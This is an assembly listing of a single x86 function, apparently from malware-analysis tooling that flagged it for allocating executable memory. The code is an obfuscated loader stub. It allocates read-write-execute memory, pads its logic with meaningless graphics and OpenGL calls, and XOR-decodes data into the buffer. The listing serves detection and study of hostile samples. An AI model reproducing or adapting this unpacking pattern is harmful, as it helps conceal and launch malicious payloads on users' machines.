Function at 0x4368a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov dword [ebp - 0x20], 0x1b2
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x30], 0x5df
mov dword [ebp - 0x50], 0x188d
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x24], 0xfec
mov dword [ebp - 0x18], 0x13bd
mov dword [ebp - 4], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 8], 0x8e5
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 8]
jb 0x4368fd
movzx ecx, byte [ebp - 0x2c]
cmp dword [ebp - 0x14], ecx
jne 0x436963
mov dword [ebp - 0x14], 0x67c
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 4]
lea ecx, [eax + edx + 0xcf0]
and ecx, 0
mov dword [ebp - 8], ecx
mov dx, word [ebp - 0x30]
mov word [ebp - 0x20], dx
mov eax, dword [ebp - 0x14]
add eax, 0x1d
mov dword [ebp - 0x14], eax
movzx ecx, word [ebp - 0x2c]
imul edx, dword [ebp - 0x28], 0
add ecx, edx
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], 0xa16
jne 0x436953
cmp dword [ebp - 0x28], 0
je 0x436953
movzx eax, word [ebp - 0x24]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
jmp 0x43695a
movzx ecx, word [ebp - 0x30]
mov dword [ebp - 4], ecx
cmp dword [ebp - 0x14], 0x699
jb 0x436917
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0xb282a4
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x10], 0
je 0x4369d9
cmp dword [ebp - 0x20], 0
jne 0x4369d9
mov dword [ebp - 0x14], 0xecd
jmp 0x43699b
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], 0xed0
jae 0x4369b8
cmp dword [ebp - 4], 0x1169
jne 0x4369b6
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0x10], eax
jmp 0x436992
cmp dword [ebp - 0x1c], 0
ja 0x4369d9
movzx ecx, byte [ebp - 0x20]
cmp dword [ebp - 0x10], ecx
jne 0x4369d9
lea edx, [ebp - 0x18]
push edx
push str.omixomrho
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0xe292f
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x14], 0
jne 0x436a5f
cmp dword [ebp - 8], 0
jae 0x436a31
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
je 0x436a31
cmp dword [ebp - 0x18], 0
je 0x436a31
cmp dword [ebp - 0xc], 0
jne 0x436a16
cmp dword [ebp - 0x1c], 0
jbe 0x436a1e
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x14]
jbe 0x436a28
xor edx, edx
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x20], edx
jmp 0x436a2f
mov dword [ebp - 0x30], 0
jmp 0x436a42
mov eax, dword [ebp - 0x20]
add eax, 0x13f3
sub eax, dword [ebp - 0x14]
add eax, dword [ebp - 8]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 8], 0
jae 0x436a5f
cmp dword [ebp - 0xc], 0
jbe 0x436a5f
cmp dword [ebp - 0x28], 0
jne 0x436a5f
push 0
call dword [sym.imp.GDI32.dll_BeginPath]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 0x24]
je 0x436a9a
imul edx, dword [ebp - 0x18], 0x1369
sub edx, dword [ebp - 0x10]
movzx eax, byte [ebp - 0x10]
add edx, eax
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x10], 0
ja 0x436a9a
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x18]
ja 0x436a9a
lea edx, [ebp - 0x1c]
push edx
push str.syoresteoh
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
push eax
push 0x314630d
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x28], 0
jae 0x436abd
movzx ecx, word [ebp - 0x1c]
cmp dword [ebp - 0x20], ecx
jae 0x436ae6
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x2c]
push eax
push 0x79df7fc
call dword [sym.imp.OPENGL32.dll_glAreTexturesResident]
movzx ecx, al
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x30]
movzx eax, byte [ebp - 4]
add edx, eax
mov word [ebp - 0x18], dx
mov ecx, dword [ebp - 0x44]
add ecx, 0xbc000
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 4]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x18]
jne 0x436b65
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x30]
jne 0x436b5a
cmp dword [ebp - 0x2c], 0
jne 0x436b5a
mov dword [ebp - 0x2c], 0xf48
xor edx, edx
sub edx, dword [ebp - 0x28]
mov dword [ebp - 0xc], edx
xor eax, eax
sub eax, dword [ebp - 0x14]
movzx ecx, byte [ebp - 0x28]
add eax, ecx
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x2c]
add edx, 0xc
mov dword [ebp - 0x2c], edx
mov ax, word [ebp - 4]
mov word [ebp - 0x18], ax
lea ecx, [ebp - 0x24]
push ecx
push str.bear
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x2c], 0xf54
jb 0x436b20
push 0
call dword [sym.imp.GDI32.dll_BeginPath]
mov dword [ebp - 0x1c], eax
lea edx, [ebp - 0x14]
push edx
push str.itcfrw
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov dword [ebp - 0xc], eax
movzx eax, word [ebp - 0x1c]
cmp dword [ebp - 0x20], eax
jne 0x436bd0
cmp dword [ebp - 0x18], 0
jbe 0x436bd0
cmp dword [ebp - 0x1c], 0
je 0x436bd0
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x24]
push edx
push 0xe920f78
call dword [sym.imp.OPENGL32.dll_glAreTexturesResident]
movzx eax, al
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x1c]
je 0x436bd0
cmp dword [ebp - 0x28], 0
jae 0x436bb9
cmp dword [ebp - 4], 0
je 0x436bc6
push 0
call dword [sym.imp.GDI32.dll_BeginPath]
mov dword [ebp - 0x14], eax
jmp 0x436bd0
imul edx, dword [ebp - 0x20], 0xe1e
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x58], 0x7fc5e0
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x1c]
jae 0x436c18
movzx ecx, word [ebp - 0x20]
xor edx, edx
sub edx, ecx
mov byte [ebp - 0xc], dl
cmp dword [ebp - 4], 0
jne 0x436c18
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x1c]
jne 0x436c04
cmp dword [ebp - 0x24], 0
ja 0x436c04
cmp dword [ebp - 4], 0
je 0x436c18
mov ecx, dword [ebp - 0x1c]
push ecx
push 0xfe10784
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x10]
je 0x436c29
movzx eax, word [ebp - 0x20]
cmp dword [ebp - 0x30], eax
jae 0x436c79
cmp dword [ebp - 0xc], 0
je 0x436c5e
cmp dword [ebp - 8], 0x1066
jbe 0x436c52
cmp dword [ebp - 0x2c], 0
ja 0x436c52
lea ecx, [ebp - 8]
push ecx
push str.nlsteonsgederce
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov dword [ebp - 4], eax
jmp 0x436c5e
movzx edx, word [ebp - 0x1c]
mov eax, dword [ebp - 4]
sub eax, edx
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x14]
push edx
push 0xb703a8f
call dword [sym.imp.OPENGL32.dll_glAreTexturesResident]
movzx eax, al
mov dword [ebp - 0x18], eax
jmp 0x436c85
movzx ecx, word [ebp - 0xc]
mov edx, dword [ebp - 0x20]
sub edx, ecx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], 0
mov byte [ebp - 8], 5
mov dword [ebp - 0x34], 0
lea eax, [ebp - 0x20]
push eax
push str.eunhiodkagd
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 8]
push edx
push 0x346f85c
call dword [sym.imp.OPENGL32.dll_glAreTexturesResident]
movzx eax, al
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x2c], 0
mov ecx, dword [ebp - 8]
push ecx
push 0xfe34650
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
mov dword [ebp - 4], eax
cmp dword [ebp - 0x28], 0
jne 0x436cef
movzx edx, byte [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
sub eax, edx
mov dword [ebp - 0x2c], eax
push 0
call dword [sym.imp.GDI32.dll_BeginPath]
mov dword [ebp - 8], eax
mov dword [ebp - 0x48], 0x360c4533
movzx ecx, word [ebp - 0x2c]
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 4], 0
jne 0x436d6f
movzx edx, byte [ebp - 4]
cmp dword [ebp - 0x1c], edx
je 0x436d6f
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x24]
ja 0x436d6f
mov dword [ebp - 4], 0xfb6
mov dword [ebp - 0x14], 0
xor edx, edx
mov ecx, dword [ebp - 0x20]
shl edx, cl
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 4]
add eax, 9
mov dword [ebp - 4], eax
mov cx, word [ebp - 0x28]
mov word [ebp - 8], cx
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x24]
jae 0x436d66
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x18]
jb 0x436d66
imul ecx, dword [ebp - 0x2c], 0
add ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x24]
mov word [ebp - 0x28], cx
cmp dword [ebp - 4], 0xfd1
jb 0x436d2d
mov dword [ebp - 0x38], 0xcff330ca
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0xc]
push eax
push 0xbeb5b79
call dword [sym.imp.OPENGL32.dll_glAreTexturesResident]
movzx ecx, al
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], 0xc98
mov dl, byte [ebp - 4]
mov byte [ebp - 0x18], dl
xor eax, eax
sub eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
add ecx, 7
mov dword [ebp - 8], ecx
movzx edx, byte [ebp - 0x30]
xor eax, eax
sub eax, edx
imul ecx, dword [ebp - 0x1c], 0
add eax, ecx
mov byte [ebp - 0x18], al
cmp dword [ebp - 8], 0xc9f
jb 0x436d9c
mov dword [ebp - 0x40], 0xf7d6aa7b
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
push 0
call dword [sym.imp.GDI32.dll_BeginPath]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x3c], 0xbd634cab
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x4c], 0xfc7bae5b
mov dword [ebp - 0x18], 0xf9a
imul edx, dword [ebp - 0x20], 0
movzx eax, word [ebp - 0x28]
add edx, eax
mov dword [ebp - 4], edx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x18]
add edx, 0x1a
mov dword [ebp - 0x18], edx
movzx eax, byte [ebp - 0x30]
xor ecx, ecx
sub ecx, eax
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x2c]
jne 0x436e35
movzx eax, byte [ebp - 8]
cmp dword [ebp - 0x30], eax
jne 0x436e4a
movzx ecx, word [ebp - 0x14]
cmp dword [ebp - 0x2c], ecx
jbe 0x436e4a
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 8]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x18], 0xfe8
jb 0x436e0a
mov eax, dword [ebp - 0x14]
push eax
push 0x4817ed7
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x54], 0xa452697a
xor ecx, ecx
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
lea edx, [ebp - 0x10]
push edx
push str.eeootltfyo
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x20], 0
je 0x436eb5
cmp dword [ebp - 8], 0
je 0x436e9a
cmp dword [ebp - 0x2c], 0
je 0x436ea2
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0xc]
je 0x436eaf
push 0
call dword [sym.imp.GDI32.dll_BeginPath]
mov dword [ebp - 0x28], eax
jmp 0x436eb5
mov cl, byte [ebp - 0x10]
mov byte [ebp - 0x28], cl
mov dword [ebp - 0x34], 0
cmp dword [ebp - 0x34], 0xaef0
jae 0x437340
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 4]
je 0x436ee9
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x30]
ja 0x436ee1
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x14]
jae 0x436ee9
xor edx, edx
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], edx
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x24]
push ecx
push 0x12ee128
call dword [sym.imp.OPENGL32.dll_glAreTexturesResident]
movzx edx, al
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x38]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 8], 0
jae 0x436f17
cmp dword [ebp - 0x2c], 0
jne 0x436f1d
cmp dword [ebp - 0x14], 0
jne 0x436f7a
cmp dword [ebp - 0x24], 0
jae 0x436f7a
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 0x24]
jae 0x436f7a
mov dword [ebp - 0x30], 0xa08
movzx edx, word [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
shr eax, cl
or edx, eax
mov dword [ebp - 4], edx
xor ecx, ecx
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x30]
add edx, 9
mov dword [ebp - 0x30], edx
movzx eax, word [ebp - 0x1c]
mov ecx, dword [ebp - 4]
sub ecx, eax
mov dword [ebp - 0x18], ecx
movzx edx, word [ebp - 0x10]
movzx eax, byte [ebp - 8]
add edx, eax
sub edx, dword [ebp - 0x20]
mov word [ebp - 0x1c], dx
cmp dword [ebp - 0x30], 0xa11
jb 0x436f43
push 0
call dword [sym.imp.GDI32.dll_BeginPath]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x38]
xor ecx, dword [ebp - 0x48]
mov dword [ebp - 0x38], ecx
lea edx, [ebp - 0x30]
push edx
push str.ltfnoh
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x40]
xor eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x30]
jb 0x436fbf
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x20]
jne 0x436fbf
cmp dword [ebp - 0x28], 0
jae 0x436fc5
mov eax, dword [ebp - 8]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x2c]
push ecx
push 0x53ac0dc
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x3c]
add edx, dword [ebp - 0x40]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 8]
jne 0x436ffb
cmp dword [ebp - 0x24], 0
jne 0x436ffb
cmp dword [ebp - 0x18], 0x4fd
jne 0x436ffb
jmp 0x437006
xor ecx, ecx
sub ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x10]
mov byte [ebp - 0x14], cl
lea edx, [ebp - 8]
push edx
push str.ihtwdolinsleonf
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x38]
xor eax, dword [ebp - 0x40]
mov dword [ebp - 0x38], eax
mov cx, word [ebp - 0x18]
mov word [ebp - 0x14], cx
push 0
call dword [sym.imp.GDI32.dll_BeginPath]
mov dword [ebp - 0x2c], eax
mov edx, dword [ebp - 0x38]
xor edx, dword [ebp - 0x3c]
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x1c], 0
lea eax, [ebp - 0x28]
push eax
push str.cdeotmpl
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x3c]
xor ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 4], 0
jne 0x43706c
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x24]
je 0x437099
cmp dword [ebp - 0x1c], 0
je 0x437080
cmp dword [ebp - 0x20], 0
jne 0x437099
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0xf2c3452
call dword [sym.imp.OPENGL32.dll_glAreTexturesResident]
movzx edx, al
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x54]
mov dword [ebp - 0x4c], eax
movzx ecx, word [ebp - 4]
movzx edx, byte [ebp - 0x10]
add ecx, dword [ebp - 8]
add edx, ecx
mov dword [ebp - 0x24], edx
lea eax, [ebp - 0x24]
push eax
push str.hnheeeaoada
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x40]
add ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x20]
jbe 0x4370e3
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 0x14]
jbe 0x437104
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 4]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x18]
je 0x437104
movzx ecx, byte [ebp - 0x18]
add ecx, dword [ebp - 0x2c]
imul edx, dword [ebp - 0x1c], 0
add ecx, edx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
jmp 0x437116
mov eax, dword [ebp - 0xc]
add eax, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xc
jae 0x43713b
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x20]
and ecx, 0x1e3e
mov byte [ebp - 0x2c], cl
imul edx, dword [ebp - 0x24], 0
and edx, 0
mov word [ebp - 0x20], dx
jmp 0x43710d
cmp dword [ebp - 0x14], 0
jne 0x437187
movzx eax, byte [ebp - 0x20]
cmp dword [ebp - 0xc], eax
je 0x437187
cmp dword [ebp - 0x10], 0
je 0x437187
mov ecx, dword [ebp - 0x18]
add ecx, 0x11a3
mov dword [ebp - 0xc], ecx
movzx edx, word [ebp - 0x18]
cmp dword [ebp - 0x10], edx
jne 0x437173
cmp dword [ebp - 0xc], 0
jbe 0x437173
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x24]
jne 0x437187
mov ecx, dword [ebp - 0x30]
push ecx
push 0x8fd3fa5
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x44]
add edx, dword [ebp - 0x34]
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x18], 0x103
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 4]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x18]
add edx, 3
mov dword [ebp - 0x18], edx
movzx eax, byte [ebp - 0x24]
add eax, 0x12e
mov dword [ebp - 4], eax
cmp dword [ebp - 0x20], 0
jne 0x4371d4
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 4]
jbe 0x4371d4
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 8]
je 0x4371e8
movzx eax, word [ebp - 0x10]
xor ecx, ecx
sub ecx, eax
movzx edx, byte [ebp - 8]
sub ecx, edx
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x28], ecx
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x14]
push ecx
push 0xea8c53b
call dword [sym.imp.OPENGL32.dll_glAreTexturesResident]
movzx edx, al
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x18], 0x10c
jb 0x4371a0
lea eax, [ebp - 0x10]
push eax
push str.yhlotseiwi
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov dword [ebp - 4], eax
cmp dword [ebp - 0xc], 0
jne 0x437228
cmp dword [ebp - 0x10], 0
je 0x43724a
cmp dword [ebp - 0x20], 0
je 0x43724a
cmp dword [ebp - 0x28], 0
jb 0x43724a
cmp dword [ebp - 4], 0
jae 0x43724a
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 0x1c]
je 0x43724a
xor edx, edx
sub edx, dword [ebp - 0x24]
mov byte [ebp - 0xc], dl
mov eax, dword [ebp - 0x58]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x5c], eax
movzx ecx, byte [ebp - 0x30]
mov edx, dword [ebp - 0x10]
sub edx, ecx
sub edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
movzx eax, byte [ebp - 0x18]
cmp dword [ebp - 0xc], eax
jne 0x43728d
cmp dword [ebp - 0xc], 0
je 0x43727f
movzx ecx, byte [ebp - 8]
xor edx, edx
sub edx, ecx
sub edx, dword [ebp - 0x20]
mov dword [ebp - 0x1c], edx
movzx eax, byte [ebp - 4]
add eax, dword [ebp - 0x28]
sub eax, dword [ebp - 8]
mov word [ebp - 0xc], ax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x10]
je 0x4372c1
cmp dword [ebp - 0xc], 0
jne 0x4372c1
mov edx, dword [ebp - 0xc]
push edx
push 0xe441221
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
push str.tohiauheeasdrmresocb
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x50]
mov dword [eax], edx
mov ecx, dword [ebp - 0xc]
push ecx
push 0xde6079d
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x1641
mov edx, dword [ebp - 0x34]
sub edx, 0xda48
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x28], 0
cmp dword [ebp - 0x18], 0
ja 0x43732f
cmp dword [ebp - 0x1c], 0
jae 0x43732f
cmp dword [ebp - 0x20], 0
jne 0x43732f
cmp dword [ebp - 0x10], 0
je 0x43732f
cmp dword [ebp - 4], 0xe44
jae 0x43732f
lea eax, [ebp - 4]
push eax
push str.sfhqnuaeea
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x34]
add ecx, 0xda4c
mov dword [ebp - 0x34], ecx
jmp 0x436ebc
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x30]
push eax
push 0xffb8f11
call dword [sym.imp.OPENGL32.dll_glAreTexturesResident]
movzx ecx, al
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x44]
add edx, 0x852a
mov dword [0x35ae01c], edx
lea eax, [ebp - 0x14]
push eax
push str.dsoatwwrrfpve
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov dword [ebp - 0x24], eax
mov esp, ebp
pop ebp
ret